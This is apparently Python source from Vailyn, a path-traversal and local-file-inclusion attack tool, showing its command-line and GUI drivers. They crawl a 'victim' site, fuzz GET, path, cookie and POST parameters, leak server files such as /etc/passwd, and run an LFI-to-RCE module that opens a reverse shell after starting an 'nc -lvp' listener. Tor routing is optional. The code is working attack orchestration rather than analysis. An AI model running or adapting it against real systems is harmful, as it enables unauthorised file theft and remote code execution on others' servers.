def cli_main(parser, opt, args, shell=True) -> int: """ Vailyn's CLI interface. - parse rest of args - start attacks & print results """ # are all globally required arguments given? if (not (opt["victim"] and opt["attack"]) or (args.attack != 5 and not opt["phase2"] and not opt["nosploit"])): parser.print_help() sys.exit("\n" + color.R + "[-]" + color.END + color.BOLD + " Invalid/missing params" + color.END + "\n" + color.RD + "[HINT]" + color.END + " -v, -a and -p2 mandatory") loot = False victim2 = "" depth = 2 verbose = variables.verbose foundfiles = [""] foundurls = [""] foundpayloads = [] foundnullbytes = [] foundwrappers = [] vlnfile = "/etc/passwd" checkdepth = 8 permutation_level = 2 cookiefile = "" # handle optional arguments if opt["loot"]: loot = True if opt["vic2"]: victim2 = args.vic2 if opt["depths"]: checkdepth = args.depths[0] depth = args.depths[1] permutation_level = args.depths[2] if opt["check"]: vlnfile = args.check if opt["cookie"]: cookiefile = args.cookie param = "" cookie = None post_data = "" selected = "" if opt["tor"]: enable_tor() paysplit = listsplit(payloadlist, round(len(payloadlist) / processes)) if (args.attack == 1): """ query mode (scan GET Parameter) """ # is a query parameter to attack specified? if not opt["param"]: parser.print_help() sys.exit("\n" + color.R + "[-]" + color.END + color.BOLD + " Invalid/missing params" + color.END + "\n" + color.RD + "[HINT]" + color.END + " -p mandatory for -a 1") print("{0}[Vailyn]{1} PARAM{2}|{3}".format( color.RD, color.END + color.RB, color.END + color.RD, color.END, )) param = args.param elif (args.attack == 2): """ path mode (scan URL Path) """ print("{0}[Vailyn]{1} PATH{2}|{3}".format( color.RD, color.END + color.RB, color.END + color.RD, color.END, )) elif (args.attack == 3): """ cookie mode (scan HTTP cookie) """ print("{0}[Vailyn]{1} COOKIE{2}|{3}".format( color.RD, color.END + color.RB, color.END + color.RD, color.END, )) elif (args.attack == 4): """ POST mode (scan POST/Form Data) """ # is a POST data string specified? if not opt["param"]: parser.print_help() sys.exit("\n" + color.R + "[-]" + color.END + color.BOLD + " Invalid/missing params" + color.END + "\n" + color.RD + "[HINT]" + color.END + " -p mandatory for -a 4") print("{0}[Vailyn]{1} POST{2}|{3}".format( color.RD, color.END + color.RB, color.END + color.RD, color.END, )) # is the POST string specified sytactically correct? post_data = args.param if "INJECT" not in post_data: parser.print_help() sys.exit("\n" + color.R + "[-]" + color.END + color.BOLD + " Invalid/missing params" + color.END + "\n" + color.RD + "[HINT]" + color.END + " -p needs to contain INJECT at injection point" + " for POST attack") if "=" not in post_data: parser.print_help() sys.exit("\n" + color.R + "[-]" + color.END + color.BOLD + " Invalid/missing params" + color.END + "\n" + color.RD + "[HINT]" + color.END + " -p needs to be of form P1=V1&P2=V2 for" + " POST attack") elif args.attack == 5: """ crawler mode (scan every URL belonging to target with every vector) """ print("{0}[Vailyn]{1} ALL{2}|{3}".format( color.RD, color.END + color.RB, color.END + color.RD, color.END, )) else: # attack index not in range parser.print_help() sys.exit("\n" + color.R + "[-]" + color.END + color.BOLD + " Invalid/missing params" + color.END + "\n" + color.RD + "[HINT]" + color.END + " -a needs to be in [1..5]") print("{0} └──{1} {2}{3}vainly{1}".format( color.RD, color.END, color.CURSIVE, color.END + color.RC + color.BOLD, )) time.sleep(0.5) # print current and original IP if using Tor if variables.tor: print("\n{0} [TOR]{1}{6} IP{1}{0}|{1}{5} {2} {1}{4}>{1} {3}".format( color.RD, color.END, variables.initip, variables.torip, color.BOLD, color.CURSIVE, color.O, )) if args.attack == 5: crawlcookies = {} arjunjar = None # load authentication cookie for crawling if cookiefile != "": arjunjar = cookie_from_file(cookiefile) crawlcookies = requests.utils.dict_from_cookiejar(arjunjar) """ Crawler Phase 0: - fetch all links belonging to target - save in spider-phase0.txt """ print("\n{0}┌─[{1}Vailyn{0}]{1}\n{0}└──╼{1} Link Spider\n".format( color.RD, color.END, )) start_time = time.time() time.sleep(0.5) ua = variables.user_agents[random.randrange( 0, len(variables.user_agents))] process = CrawlerProcess({"USER_AGENT": ua, "LOG_ENABLED": False}) process.crawl( UrlSpider, cookiedict=crawlcookies, url=args.victim, ) process.start() subdir = parse_url(args.victim) with open(cachedir + subdir + "spider-phase0.txt", "r") as vicfile: for line in vicfile: variables.viclist.append(line.strip()) DATA = [] for target in variables.viclist: DATA.append(table_print([target])) linkTable = SingleTable( DATA, "[ {}App Links{} ]".format( color.END, color.RD, )) linkTable.inner_heading_row_border = False print("{}{}{}".format(color.RD, linkTable.table, color.END)) """ Crawler Phase 1: - enumerate all HTTP GET parameters for each link - uses Arjun in lib/Arjun - save in spider-phase1.json """ time.sleep(1) print("\n{0}┌─[{1}Vailyn{0}]{1}\n{0}└──╼{1} Param Enum (GET)\n".format( color.RD, color.END, )) time.sleep(0.5) siteparams = crawler_arjun(cookiefile=cookiefile) time.sleep(1) """ Crawler Phase 2: - attack every GET parameter of every page - save in spider-phase2.json """ print("\n{0}┌─[{1}Vailyn{0}]{1}\n{0}└──╼{1} Query Analysis\n".format( color.RD, color.END, )) time.sleep(0.5) queryattack = crawler_query( siteparams, victim2, verbose, checkdepth, vlnfile, cookiefile, ) """ Crawler Phase 3: - attack every page using the path vector - duplicate paths only attacked once - save in spider-phase3.json """ time.sleep(1) print("\n{0}┌─[{1}Vailyn{0}]{1}\n{0}└──╼{1} Path Analysis\n".format( color.RD, color.END, )) time.sleep(0.5) pathattack = crawler_path( victim2, verbose, checkdepth, vlnfile, cookiefile, ) """ Crawler Phase 4: - attack every cookie found - save in spider-phase4.json """ time.sleep(1) print("\n{0}┌─[{1}Vailyn{0}]{1}\n{0}└──╼{1} Cookie Analysis\n".format( color.RD, color.END, )) time.sleep(0.5) cookieattack = crawler_cookie( victim2, verbose, checkdepth, vlnfile, cookiefile, ) """ Crawler Phase 5: - enumerate all HTTP POST parameters for each link - uses Arjun in lib/Arjun - save in spider-phase5.json """ time.sleep(1) print( "\n{0}┌─[{1}Vailyn{0}]{1}\n{0}└──╼{1} Param Enum (POST)\n".format( color.RD, color.END, )) time.sleep(0.5) postparams = crawler_arjun(post=True, cookiefile=cookiefile) time.sleep(1) """ Crawler Phase 6: - attack every POST parameter of every page - save in spider-phase6.json """ print("\n{0}┌─[{1}Vailyn{0}]{1}\n{0}└──╼{1} POST Analysis\n".format( color.RD, color.END, )) time.sleep(0.5) postattack = crawler_post( postparams, victim2, verbose, checkdepth, vlnfile, cookiefile, ) time.sleep(2.5) end_time = time.time() duration = end_time - start_time - 12.0 # remove known sleeps readable_time = datetime.timedelta(seconds=duration) """ Format & print results as tables """ print("\n\n{0}[Vailyn]{1} SCAN{2}|{4} Finished in {5}{3}\n".format( color.RD, color.END + color.RB, color.END + color.RD, color.END, color.END + color.RC, readable_time, )) DATA = [ table_print( ("URL", "Parameter", "Payloads", "Nullbytes", "Wrappers"), ) ] for victim, sub in queryattack.items(): for param, pair in sub.items(): payloads = table_entry_print(pair[0]) nullbytes = table_entry_print(pair[1]) wrappers = table_entry_print(pair[2]) DATA.append( table_print( (victim, param, payloads, nullbytes, wrappers), )) queryTable = SingleTable( DATA, "[ {}Query Attack{} ]".format(color.END, color.RD), ) print("{}{}{}\n".format(color.RD, queryTable.table, color.END)) DATA = [table_print(("URL", "Payloads", "Nullbytes", "Wrappers"))] for victim, pair in pathattack.items(): payloads = table_entry_print(pair[0]) nullbytes = table_entry_print(pair[1]) wrappers = table_entry_print(pair[2]) DATA.append(table_print((victim, payloads, nullbytes, wrappers), )) pathTable = SingleTable( DATA, "[ {}Path Attack{} ]".format(color.END, color.RD), ) print("{}{}{}\n".format(color.RD, pathTable.table, color.END)) DATA = [ table_print( ("URL", "Cookie", "Payloads", "Nullbytes", "Wrappers"), ) ] for victim, sub in cookieattack.items(): for cname, pair in sub.items(): payloads = table_entry_print(pair[0]) nullbytes = table_entry_print(pair[1]) wrappers = table_entry_print(pair[2]) DATA.append( table_print( (victim, cname, payloads, nullbytes, wrappers), )) cookieTable = SingleTable( DATA, "[ {}Cookie Attack{} ]".format(color.END, color.RD), ) print("{}{}{}\n".format(color.RD, cookieTable.table, color.END)) DATA = [ table_print( ("URL", "Parameter", "Payloads", "Nullbytes", "Wrappers"), ) ] for victim, sub in postattack.items(): for param, pair in sub.items(): payloads = table_entry_print(pair[0]) nullbytes = table_entry_print(pair[1]) wrappers = table_entry_print(pair[2]) DATA.append( table_print( (victim, param, payloads, nullbytes, wrappers), )) postTable = SingleTable( DATA, "[ {}POST Attack{} ]".format(color.END, color.RD), ) print("{}{}{}\n".format(color.RD, postTable.table, color.END)) notify("Crawler finished scanning {} URLs.".format( len(variables.viclist), )) # exit program return # fetch and select cookie for cookie mode if args.attack == 3: print("\n{0}┌─[{1}Vailyn{0}]{1}\n{0}└──╼{1} Parsing Cookie\n".format( color.RD, color.END, )) cookie, selected = read_cookie(args.victim) print("\n{0}┌─[{1}Vailyn{0}]{1}\n{0}└──╼{1} Analysis Phase\n".format( color.RD, color.END, )) vlnysis = True # present option to skip phase 1 if cache from previous attack present targetcache = parse_url(args.victim) if (os.path.exists(cachedir + targetcache + "payloads.cache") and os.path.exists(cachedir + targetcache + "nullbytes.cache") and os.path.exists(cachedir + targetcache + "wrappers.cache")): choice = input("{0}[?]{1}{2} Cache{1}{0}|{1} Load from".format( color.RD, color.END, color.O, ) + " previous attack?\n{0} └──{1}".format(color.RD, color.END) + " {1}enter if not{0} :> ".format( color.END, color.CURSIVE, )) if choice != "": vlnysis = False foundpayloads, foundnullbytes, foundwrappers = load(targetcache) else: print() if vlnysis: starting_time = time.time() # initiate phase 1 - vulnerability analysis reset_counter() with Pool(processes=processes) as pool: res = [ pool.apply_async(phase1, args=( args.attack, args.victim, victim2, param, cookie, selected, verbose, checkdepth, splitty, vlnfile, cookiefile, post_data, None, )) for splitty in paysplit ] for i in res: # fetch results tuples = i.get() foundpayloads += tuples[0] foundnullbytes += tuples[1] foundwrappers += tuples[2] ending_time = time.time() vuln_time = ending_time - starting_time # save working payloads to cache save(targetcache, foundpayloads, foundnullbytes, foundwrappers) else: vuln_time = 0.0 # determine if phase 2 happens attack = False if foundpayloads: attack = True message = "Path Traversal detected!" if not args.nosploit: message += " Select Payloads for Phase 2" if vlnysis: notify(message) # select payloads for Phase 2 selectedpayloads = select( foundpayloads, nosploit=args.nosploit, ) if foundnullbytes: selectednullbytes = select( foundnullbytes, nullbytes=True, nosploit=args.nosploit, ) else: selectednullbytes = [] if foundwrappers: selectedwrappers = select( foundwrappers, wrappers=True, nosploit=args.nosploit, ) else: selectedwrappers = [] else: selectedwrappers = [] if not opt["nosploit"]: notify("No payload succeeded. Attack anyways?") cont = input( "\n{0}[✗]{1} No payload succeeded.".format( color.RD, color.END) + " Attack anyways?\n{0} └──{1} ".format(color.RD, color.END) + "{1}enter if not{0} :> ".format(color.END, color.CURSIVE)) if cont != "": attack = True # attack with everything if phase 1 was unsuccessful selectedpayloads = payloadlist selectednullbytes = nullchars selectedwrappers = [""] if variables.lfi: selectedwrappers += variables.phase1_wrappers # skip phase 2 if --nosploit specified if opt["nosploit"]: attack = False """ ! selectedwrappers ALWAYS needs to contain the empty ! ! string for the base attack to get executed ! """ if not selectedwrappers: selectedwrappers = [""] # start the exploitation phase starting_time = time.time() techniques = [] if attack: reset_counter() print("\n{0}┌─[{1}Vailyn{0}]{1}\n{0}└──╼{1} Sploit Phase\n".format( color.RD, color.END, )) if variables.revshell: """ RCE Module - LFI only. Obtain a reverse shell through file poisoning and PHP wrappers """ if is_windows: # Vailyn cannot start a listener automatically on Windows # TODO: add this as feature lis = input("[?] Are you listening on {}".format( variables.LISTENIP, ) + ", port {}? (enter if not) :> ".format( variables.LISTENPORT, )) if lis == "": sys.exit( "Please start a listener manually " "before starting the attack.", ) else: with open(os.devnull, "w") as DEVNULL: subprocess.Popen( [ "konsole", "--hold", "-e", "nc -lvp {}".format( variables.LISTENPORT, ) ], close_fds=True, stdout=DEVNULL, stderr=subprocess.STDOUT, ) # select RCE techniques to use techniques = select_techniques() starting_time = time.time() # start attack lfi_rce( techniques, args.attack, args.victim, victim2, param, cookie, selected, verbose, selectedpayloads, selectednullbytes, selectedwrappers, cookiefile, post_data, depth, ) else: """ Leak Module - LFI & Path Traversal. Retreive (opt. download) files on server using file & directory dictionaries """ set_date() sdirlen = 0 with open(args.phase2[2], "r") as f: sdirlen = sum(1 for line in f if line.rstrip()) + 1 if opt["phase2"] and sdirlen > 100: print("{} Preparing dictionaries...{}".format( color.RC, color.END, )) dirlen2 = sdirlen felems = dirlen2 - 1 i = 1 while (i <= permutation_level): if 0 <= i + 1 and i + 1 <= felems: cur = factorial(felems) / factorial(felems - i - 1) else: cur = 0 dirlen2 += cur i += 1 dirlen = int(dirlen2) splitted = gensplit( listperm(args.phase2[2], permutation_level), round(dirlen / processes), ) starting_time = time.time() with Pool(processes=processes) as pool: res = [ pool.apply_async(phase2, args=( args.attack, args.victim, victim2, param, cookie, selected, args.phase2[1], slist, depth, verbose, loot, selectedpayloads, selectednullbytes, selectedwrappers, cookiefile, post_data, dirlen, None, )) for slist in splitted ] for i in res: # fetch results restuple = i.get() foundfiles += restuple[0] foundurls += restuple[1] ending_time = time.time() attack_time = ending_time - starting_time total_time = vuln_time + attack_time readable_time = datetime.timedelta(seconds=total_time) if not args.nosploit: notification = "Attack done in {}.".format(readable_time) if variables.revshell: techniquesTried = len(techniques) if 6 in techniques: techniquesTried = techniquesTried + variables.wrapperCount - 1 mult = "" if techniquesTried == 1 else "s" notification += " {} technique{} tried.".format( techniquesTried, mult, ) else: mult = "" if (len(foundfiles) - 1) == 1 else "s" notification += " Found {} file{}.".format( len(foundfiles) - 1, mult, ) notify(notification) # display found files in a file tree print("\n{0}┌─[{1}Vailyn{0}]{1}\n{0}└──╼{1} Directory Tree\n".format( color.RD, color.END, )) if foundfiles: create_tree(filetree, foundfiles) filetree.show() if not foundurls: print("nothing found") print("{}Scan completed in {}.{}".format(color.RC, readable_time, color.END)) if variables.tor and not is_windows: stop = input(color.END + " [?] Do you want to terminate the", " Tor service? (enter if not) :> ") if stop != "": try: subprocess.run(["systemctl", "stop", "tor"]) except OSError: subprocess.run(["service", "tor", "stop"]) except OSError: subprocess.run(["brew", "services", "stop", "tor"]) except Exception as e: sys.exit(e)
def attack_gui(self): self.foundfiles = [""] self.foundurls = [""] self.foundpayloads = [] self.foundnullbytes = [] self.attack = self.attackOption.currentIndex() self.filedict = self.fileDictDisplay.text().strip() self.dirdict = self.dirDictDisplay.text().strip() self.timeLabel.setText("") variables.precise = self.preciseFlag.isChecked() variables.lfi = self.lfiBox.isChecked() if (self.victim == "" or (self.attack == 1 and self.param == "") or ((self.filedict == "" or self.dirdict == "") and self.attack != 0 and not self.nosploit and not self.shellBox.isChecked())): self.show_error("Mandatory argument(s) not specified.") return try: self.depth1 = int(self.phase1Depth.text().strip()) except ValueError: if self.phase1Depth.text().strip() != "": self.show_error("Depths must be valid positive integers!", ) return try: self.depth2 = int(self.phase2Depth.text().strip()) except ValueError: if self.phase2Depth.text().strip() != "": self.show_error("Depths must be valid positive integers!", ) return try: self.permutation_level = int(self.phase2PLevel.text().strip()) except ValueError: if self.phase2PLevel.text().strip() != "": self.show_error("Depths must be valid positive integers!", ) return if variables.revshell: try: variables.LISTENIP = self.ipEdit.text().strip() variables.LISTENPORT = self.portEdit.text().strip() assert (variables.LISTENPORT != "" and variables.LISTENIP != "") except AssertionError: self.show_error("Listening IP and Port needed for attack.", ) return timeout = self.timeoutEdit.text().strip() if timeout != "": try: variables.timeout = int(timeout) assert (variables.timeout > 0) except (ValueError, AssertionError): self.show_error("Timeout must be a valid positive integer!", ) return self.auth_cookie = self.cookieDisplay.text().strip() self.loot = self.lootBox.isChecked() self.tor = self.torBox.isChecked() self.vlnfile = self.vlnFileInput.text().strip() if self.tor: sig = enable_tor(shell=False) if sig == 420: ans = self.show_question( "Do you have the Tor service up and running?", ) if not ans: return enable_tor(shell=False, sig_win=True) elif sig == 1337: ans = self.show_question( "Do you want to start the Tor service?", ) if not ans: return self.unix = True enable_tor(shell=False, sig_lin=True) paysplit = listsplit( payloadlist, round(len(payloadlist) / processes), ) if self.attack == 1 and self.param == "": self.show_error( "An attack parameter is required for this attack.", ) return elif (self.attack == 4 or self.attack == 5) and self.post == "": self.show_error( "A post data string is required for this attack.", ) return if self.attack in [4, 5] and "INJECT" not in self.post: self.show_error( "POST Data needs to contain INJECT at injection point", ) return if self.attack == 4 and "=" not in self.post: self.show_error("POST Data needs to be of form P1=V1&P2=V2", ) return self.progressBar.setEnabled(True) self.treeView.clear() if self.attack == 0: self.crawlerResultDisplay.setText("") variables.viclist.clear() crawlcookies = {} arjunjar = None if self.auth_cookie != "": arjunjar = self.auth_cookie crawlcookies = dict_from_header(arjunjar) def runSpider(): def f(q): try: ua = variables.user_agents[random.randrange( 0, len(variables.user_agents))] process = CrawlerRunner({ "USER_AGENT": ua, "LOG_ENABLED": False }) d = process.crawl( UrlSpider, cookiedict=crawlcookies, url=self.victim, ) d.addBoth(lambda _: reactor.stop()) reactor.run() q.put(None) except Exception as e: q.put(e) q = Queue() p = Process(target=f, args=(q, )) p.start() result = q.get() p.join() if result is not None: print("Crawler error: {}".format(result)) self.show_error("A crawler error has occurred.", ) self.tabWidget.setCurrentIndex(self.attack_index) self.timeLabel.setText("Active Phase: 0") self.crawlerResultDisplay.append("; /_ '/\n|/(//((//)\n' /\n") self.crawlerResultDisplay.append( "[Info] Vailyn Scraper started.\n", ) self.show() app.processEvents() starting_time = time.time() runSpider() subdir = parse_url(self.victim) with open( cachedir + subdir + "spider-phase0.txt", "r", ) as vicfile: for line in vicfile: variables.viclist.append(line.strip()) self.crawlerResultDisplay.append( "[+] Found {}".format(line.strip()), ) self.crawlerResultDisplay.append( "\n[Info] Arjun GET Scan started.", ) self.timeLabel.setText("Active Phase: 1") self.show() app.processEvents() site_params = crawler_arjun(cookie_header=self.auth_cookie) self.timeLabel.setText("Active Phase: 2") self.show() app.processEvents() crawler_query( site_params, self.victim2, variables.verbose, self.depth1, self.vlnfile, self.auth_cookie, gui=self, ) time.sleep(1) self.timeLabel.setText("Active Phase: 3") self.show() app.processEvents() crawler_path( self.victim2, variables.verbose, self.depth1, self.vlnfile, self.auth_cookie, gui=self, ) time.sleep(1) self.timeLabel.setText("Active Phase: 4") self.show() app.processEvents() crawler_cookie( self.victim2, variables.verbose, self.depth1, self.vlnfile, self.auth_cookie, gui=self, ) time.sleep(1) self.crawlerResultDisplay.append( "\n[Info] Arjun POST Plain Scan started.", ) self.timeLabel.setText("Active Phase: 5") self.show() app.processEvents() post_params = crawler_arjun( post=True, cookie_header=self.auth_cookie, ) self.timeLabel.setText("Active Phase: 6") self.show() app.processEvents() crawler_post_plain( post_params, self.victim2, variables.verbose, self.depth1, self.vlnfile, self.auth_cookie, gui=self, ) time.sleep(1) self.crawlerResultDisplay.append( "\n[Info] Arjun POST JSON Scan started.", ) self.timeLabel.setText("Active Phase: 7") self.show() app.processEvents() json_params = crawler_arjun( jpost=True, cookie_header=self.auth_cookie, ) self.timeLabel.setText("Active Phase: 8") self.show() app.processEvents() crawler_post_json( json_params, self.victim2, variables.verbose, self.depth1, self.vlnfile, self.auth_cookie, gui=self, ) ending_time = time.time() total_time = ending_time - starting_time atime = datetime.timedelta(seconds=total_time) self.timeLabel.setText("Done after " + str(atime) + ".", ) self.show() return if self.attack == 3: ( self.cookie, self.selected, ) = self.read_cookie_gui(self.victim) if self.cookie is None or self.selected is None: return vlnysis = True self.tabWidget.setCurrentIndex(self.attack_index) self.show() app.processEvents() # present option to skip phase 1 if cache from previous attack present targetcache = parse_url(self.victim) if (os.path.exists(cachedir + targetcache + "payloads.cache") and os.path.exists(cachedir + targetcache + "nullbytes.cache") and os.path.exists(cachedir + targetcache + "wrappers.cache")): choice = self.show_question("Detected payload cache. Do you want" " to load the cache and skip Phase 1?") if choice: vlnysis = False (self.foundpayloads, self.foundnullbytes, self.foundwrappers) = load(targetcache) if vlnysis: starting_time = time.time() # initiate phase 1 - vulnerability analysis reset_counter() self.timeLabel.setText("Active Phase: 1") with Pool(processes=processes) as pool: res = [ pool.apply_async(phase1, args=( self.attack, self.victim, self.victim2, self.param, self.cookie, self.selected, variables.verbose, self.depth1, splitty, self.vlnfile, self.auth_cookie, self.post, self, )) for splitty in paysplit ] for i in res: # fetch results tuples = i.get() self.foundpayloads += tuples[0] self.foundnullbytes += tuples[1] self.foundwrappers += tuples[2] ending_time = time.time() vuln_time = ending_time - starting_time # save working payloads to cache save( targetcache, self.foundpayloads, self.foundnullbytes, self.foundwrappers, ) else: vuln_time = 0.0 # determine if phase 2 happens attackphase = False if self.foundpayloads: attackphase = True if not self.nosploit: self.selectedpayloads = self.gui_select(self.foundpayloads, ) if self.foundnullbytes: self.selectednullbytes = self.gui_select( self.foundnullbytes, nullbytes=True, ) else: self.selectednullbytes = [] if self.foundwrappers: self.selectedwrappers = self.gui_select( self.foundwrappers, wrappers=True, ) else: self.selectedwrappers = [] else: self.show_payloads( self.foundpayloads, self.foundnullbytes, self.foundwrappers, ) return else: self.selectedwrappers = [] if not self.nosploit: cont = self.show_question( "No payload succeeded. Attack anyways?", ) if cont: attackphase = True # attack with everything if phase 1 was unsuccessful self.selectedpayloads = payloadlist self.selectednullbytes = nullchars self.selectedwrappers = [""] if variables.lfi: self.selectedwrappers += variables.phase1_wrappers else: self.show_info("No payload succeeded.") return if self.nosploit: attackphase = False if not self.selectedwrappers: self.selectedwrappers = [""] if attackphase: reset_counter() self.timeLabel.setText("Active Phase: 2") if variables.revshell: if is_windows: question = "Are you listening on {}, port {}?".format( variables.LISTENIP, variables.LISTENPORT, ) lis = self.show_question(question) if not lis: self.show_error("Please start a listener manually" " before starting the attack.") return else: with open(os.devnull, "w") as DEVNULL: subprocess.Popen( [ "konsole", "--hold", "-e", "nc -lvp {}".format( variables.LISTENPORT) ], close_fds=True, stdout=DEVNULL, stderr=subprocess.STDOUT, ) self.techniques = self.gui_select_techniques() if not self.techniques: return starting_time = time.time() lfi_rce( self.techniques, self.attack, self.victim, self.victim2, self.param, self.cookie, self.selected, variables.verbose, self.selectedpayloads, self.selectednullbytes, self.selectedwrappers, self.auth_cookie, self.post, self.depth2, gui=self, app=app, ) else: set_date() # equally split dictionary entries to all threads sdirlen = 0 with open(self.dirdict, "r") as f: sdirlen = sum(1 for line in f if line.rstrip()) + 1 if sdirlen > 100: self.show_info("Preparing dictionaries...") dirlen2 = sdirlen felems = dirlen2 - 1 i = 1 while (i <= self.permutation_level): if 0 <= i + 1 and i + 1 <= felems: cur = factorial(felems) / factorial(felems - i - 1) else: cur = 0 dirlen2 += cur i += 1 dirlen = int(dirlen2) splitted = gensplit( listperm(self.dirdict, self.permutation_level), round(dirlen / processes), ) starting_time = time.time() with Pool(processes=processes) as pool: res = [ pool.apply_async(phase2, args=( self.attack, self.victim, self.victim2, self.param, self.cookie, self.selected, self.filedict, splitty, self.depth2, variables.verbose, self.loot, self.selectedpayloads, self.selectednullbytes, self.selectedwrappers, self.auth_cookie, self.post, dirlen, self, )) for splitty in splitted ] for i in res: # fetch results restuple = i.get() self.foundfiles += restuple[0] self.foundurls += restuple[1] ending_time = time.time() attack_time = ending_time - starting_time total_time = vuln_time + attack_time readable_time = datetime.timedelta(seconds=total_time) if self.foundfiles: self.gui_tree(readable_time) self.show_info("Attack done. Found {} files in {}.".format( len(self.foundfiles) - 1, readable_time, )) if self.tor and self.unix: stop = self.show_question( "Do you want to terminate the Tor service?", ) if stop: try: subprocess.run(["systemctl", "stop", "tor"]) except OSError: subprocess.run(["service", "tor", "stop"]) except OSError: subprocess.run(["brew", "services", "stop", "tor"]) except Exception as e: sys.exit(e)